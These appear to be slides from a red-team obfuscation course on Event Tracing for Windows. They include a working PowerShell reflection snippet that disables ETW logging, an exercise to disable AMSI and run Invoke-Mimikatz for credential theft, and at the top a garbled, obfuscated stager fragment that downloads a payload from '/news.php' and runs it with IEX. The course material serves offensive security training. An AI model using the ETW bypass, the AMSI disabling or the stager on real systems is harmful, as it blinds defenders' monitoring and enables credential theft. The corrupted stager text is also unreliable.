\$t='/news.php';\$B3904.HeADERS.ADD('User-Agent',\$u); daTa=b3904, DOWN loaDDaTa(seR+T): v=datA[0, 3]: \$data=\$dATa[4..\$DaTa.]ENgtH];-Join[Char[]](& \$R \$DAtA (\$IV+\$K))|IEX

# Event Tracing



# Event Tracing for Windows

• Made up of three primary components Controllers – Build and configure tracing sessions Providers – Generates events under there Consumers – Interprets the generated events





# Event Tracing for Windows

- Lots of different event providers
- Logs things like process creation and start/stop
  - •.NET hunters can see all kinds of indicators from it:
    - Assembly loading activity,
    - Assembly name, function names
    - JIT compiling events
- Various alert levels
  - Key words can automatically elevate alert levels
  - Custom levels can be set by providers as well



#### ETW Bypass - PowerShell

- As mentioned, a very effective way of hunting .NET is through the use of ETW events
- Reflectively modify the PowerShell process to prevent events being published
  - ETW feeds ALL of the other logs so this disables everything

- 3 \$LogProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
- 4 \$etwProvider = \$LogProvider.GetField('etwProvider', 'NonPublic,Static').GetValue(\$null)
- 5 [System. Diagnostics. Eventing. EventProvider]. GetField('m\_enabled', 'NonPublic, Instance'). SetValue(\$etwProvider,0);



### Exercise 7: Mimikatz

- 1. Disable AMSI
- 2. Run Invoke-Mimikatz
  - <u>https://github.com/BC-SECURITY/Beginners-Guide-to-</u> Obfuscation/tree/main/Exercise%207
- 3. Why is Mimikatz being killed?
- 4. What can we do to prevent it?
- 5. Any additional malicious flags in the logs?



# Questions

INFO@BC-SECURITY.ORG @BCSECURITY1 HTTPS://WWW.BC-SECURITY.ORG/

000

